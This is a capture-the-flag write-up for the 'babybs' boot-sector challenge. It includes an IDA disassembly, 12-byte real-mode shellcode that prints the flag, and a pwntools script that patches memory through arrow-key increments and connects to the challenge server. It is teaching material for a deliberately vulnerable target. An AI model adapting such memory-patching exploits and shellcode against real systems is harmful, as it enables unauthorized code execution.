Last week, we - m1cr0$oft 0ff1c3 team participated in this event and got 21th place.

These pwn challenges are so damm hard, I did only solve 2 challenges.
image

This is the write-up for babybs challenge with the intentded way ( I used this way during the CTF event ).
image

Attachment: babybs.tar.gz

Check the files:
image

At the first time, I had thought the OS booting had to take a long time so I had been waiting for it. But then when read the description , I decied to analyze the babybs.bin file with IDA.
image

This is what IDA analyzed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
eg000:0000 ;
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ; | This file was generated by The Interactive Disassembler (IDA) |
seg000:0000 ; | Copyright (c) 2023 Hex-Rays, <support@hex-rays.com> |
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ;
seg000:0000 ; Input SHA256 : A1FC20E523D1A2C7EA2CCE80E36653924D15815A41215B813D0B1F16946A2AA0
seg000:0000 ; Input MD5 : E168E2D3F42520FD8DEB5A9D6F7D6242
seg000:0000 ; Input CRC32 : 0DEF4D0D
seg000:0000
seg000:0000 ; ---------------------------------------------------------------------------
seg000:0000 ; File Name : \\wsl.localhost\Ubuntu\home\robbert\CTF\bi0s\babybs\babybs.bin
seg000:0000 ; Format : Binary file
seg000:0000 ; Base Address: 0000h Range: 0000h - 0200h Loaded length: 0200h
seg000:0000
seg000:0000 .686p
seg000:0000 .mmx
seg000:0000 .model small
seg000:0000
seg000:0000 ; ===========================================================================
seg000:0000
seg000:0000 ; Segment type: Pure code
seg000:0000 seg000 segment byte public 'CODE' use16
seg000:0000 assume cs:seg000
seg000:0000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000 aaa
seg000:0001 adc si, [bx]
seg000:0003 adc ax, [bx+si]
seg000:0003 ; ---------------------------------------------------------------------------
seg000:0005 db 0
seg000:0006 db 0
seg000:0007 db 0
seg000:0008 db 0
seg000:0009 db 0FAh
seg000:000A db 31h ; 1
seg000:000B db 0C0h
seg000:000C db 8Eh
seg000:000D db 0D8h
seg000:000E db 8Eh
seg000:000F db 0C0h
seg000:0010 db 8Eh
seg000:0011 db 0D0h
seg000:0012 db 0BCh
seg000:0013 db 0FFh
seg000:0014 db 0FFh
seg000:0015 db 0FBh
seg000:0016 ; ---------------------------------------------------------------------------
seg000:0016 ; START OF FUNCTION CHUNK FOR sub_37
seg000:0016
seg000:0016 start: ; CODE XREF: sub_37-9↓j
seg000:0016 ; sub_37+10↓j
seg000:0016 call getchar
seg000:0019 cmp al, 1Bh
seg000:001B jz short endless_dead
seg000:001D sub al, 30h ; '0'
seg000:001F mov ds:7C08h, al
seg000:0022 call sub_37
seg000:0025 mov eax, ds:7C04h
seg000:0029 cmp eax, ds:7C00h
seg000:002E jnz short start
seg000:0030
seg000:0030 endless_dead: ; CODE XREF: sub_37-1C↑j
seg000:0030 ; sub_37:endless_dead↓j
seg000:0030 jmp short endless_dead
seg000:0030 ; END OF FUNCTION CHUNK FOR sub_37
seg000:0032
seg000:0032 ; =============== S U B R O U T I N E =======================================
seg000:0032
seg000:0032
seg000:0032 getchar proc near ; CODE XREF: sub_37:start↑p
seg000:0032 mov ah, 0
seg000:0034 int 16h ; KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY
seg000:0034 ; Return: AH = scan code, AL = character
seg000:0036 retn
seg000:0036 getchar endp
seg000:0036
seg000:0037
seg000:0037 ; =============== S U B R O U T I N E =======================================
seg000:0037
seg000:0037
seg000:0037 sub_37 proc near ; CODE XREF: sub_37-15↑p
seg000:0037 ; sub_37+12↓j
seg000:0037
seg000:0037 ; FUNCTION CHUNK AT seg000:0016 SIZE 0000001C BYTES
seg000:0037
seg000:0037 mov ah, 0
seg000:0039 int 16h ; KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY
seg000:0039 ; Return: AH = scan code, AL = character
seg000:003B cmp ah, 48h ; 'H'
seg000:003E jz short add_one
seg000:0040 cmp ah, 50h ; 'P'
seg000:0043 jz short sub
seg000:0045 cmp al, 1Ch
seg000:0047 jz short start
seg000:0049 jmp short sub_37
seg000:004B ; ---------------------------------------------------------------------------
seg000:004B
seg000:004B add_one: ; CODE XREF: sub_37+7↑j
seg000:004B xor ah, ah
seg000:004D mov al, ds:7C08h
seg000:0050 add ax, 7C04h
seg000:0053 mov bx, ax
seg000:0055 add byte ptr [bx], 1
seg000:0058
seg000:0058 locret_58: ; DATA XREF: getchar+2↑r
seg000:0058 ; sub_37+2↑r
seg000:0058 retn
seg000:0059 ; ---------------------------------------------------------------------------
seg000:0059
seg000:0059 sub: ; CODE XREF: sub_37+C↑j
seg000:0059 xor ah, ah
seg000:005B mov al, ds:7C08h
seg000:005E add ax, 7C04h
seg000:0061 mov bx, ax
seg000:0063 sub byte ptr [bx], 1
seg000:0066 retn
seg000:0066 sub_37 endp
seg000:0066
seg000:0066 ; ---------------------------------------------------------------------------
seg000:0067 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
seg000:0089 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
seg000:00AB db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
seg000:00CD db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
seg000:00EF db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
seg000:0111 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
seg000:0133 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
seg000:0155 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
seg000:0177 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
seg000:0199 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
seg000:01BB db 0,0,0,0,0,0,0,0,0,0,0
seg000:01C6 aBi0sctfXxxxxxx db 'bi0sctf{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}U'
seg000:01FF db 0AAh
seg000:01FF seg000 ends
seg000:01FF
seg000:01FF
seg000:01FF end

You can see there is a flag at address 0x1c6, so maybe the target is trying to leak the flag at 0x1c6.

I’m lazy to say the detail about what is the boot sector doing but maybe this graph is enough for you to understand:

image

So, I can write shellcode into somewhere that can leak the flag and modify endless_dead jumping into the shellcode.

The problem is that in sub_37, it compares the value of the scan code ( ah ) instead of the character ( al).

After asking the chatGPT, I know that typing the up arrow key makes ah = 0x48, the down one makes ah = 0x50.

image

At the first time, I had tried to write the shellcode at 0x7c67 ( offset = 0x63 ).

image

But it returned ah = 0x48 and al = 0x0, I did’t know why so I decided to write the shellcode at 0x7c09 ( offset = 5 ), the max size of the shellcode is 13 bytes
because the start function is at 0x7c16.

Luckily, the size of the shellcode is 12-byte.

1
2
3
4
5
6
7
mov si, 0x7dc6
t:
mov al, [si]
mov ah, 0x0E
int 0x10
inc si
jmp t

So, the way I used was that writting the shellcode into 0x7c09 and modifing the endless_dead jumping into 0x7c09.

Final script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
from time import sleep

UP = b'\033[A'
DOWN = b'\033[B'
PREV = [0xFA, 0x31, 0xC0, 0x8E, 0xD8, 0x8E,
0xC0, 0x8E, 0xD0, 0xBC, 0xFF, 0xFF, 0xFB]

"""
mov si, 0x7dc6
t:
mov al, [si]
mov ah, 0x0E
int 0x10
inc si
jmp t
"""
SHELLCODE = [190, 198, 125, 138, 4, 180, 14, 205, 16, 70, 235, 0xf7]

if args.REMOTE:
p = process(["bash", "-c", "nc 13.201.224.182 30297"])
else:
p = process(["./run.sh"])

p.recv()

pause()


def add_one(offset):
p.send(p8(offset+ord('0')))
p.send(UP)


def sub_one(offset):
p.send(p8(offset+ord('0')))
p.send(DOWN)


SHELLCODE_OFFSET = 0x5
offset = 0

for x in range(len(SHELLCODE)):
if PREV[x] > SHELLCODE[x]:
for i in range(PREV[x] - SHELLCODE[x]):
sub_one(SHELLCODE_OFFSET+x)
if i % 4 == 0:
sleep(0.3)
else:
for i in range(-PREV[x] + SHELLCODE[x]):
add_one(SHELLCODE_OFFSET+x)
if i % 4 == 0:
sleep(0.3)

for i in range(0xfe-0xd7):
sub_one(0x31-4)
if i % 4 == 0:
sleep(0.3)

pause()

p.send(b"\x1b")

print(p.recv(1000))
print(p.recv(1000))

pause()

p.interactive()

image

P/s:
This trick may help you when you want to debug 16-bit real mode with GDB:
image

Link: https://gist.github.com/MatanShahar/1441433e19637cf1bb46b1aa38a90815?permalink_comment_id=3315921#gistcomment-3315921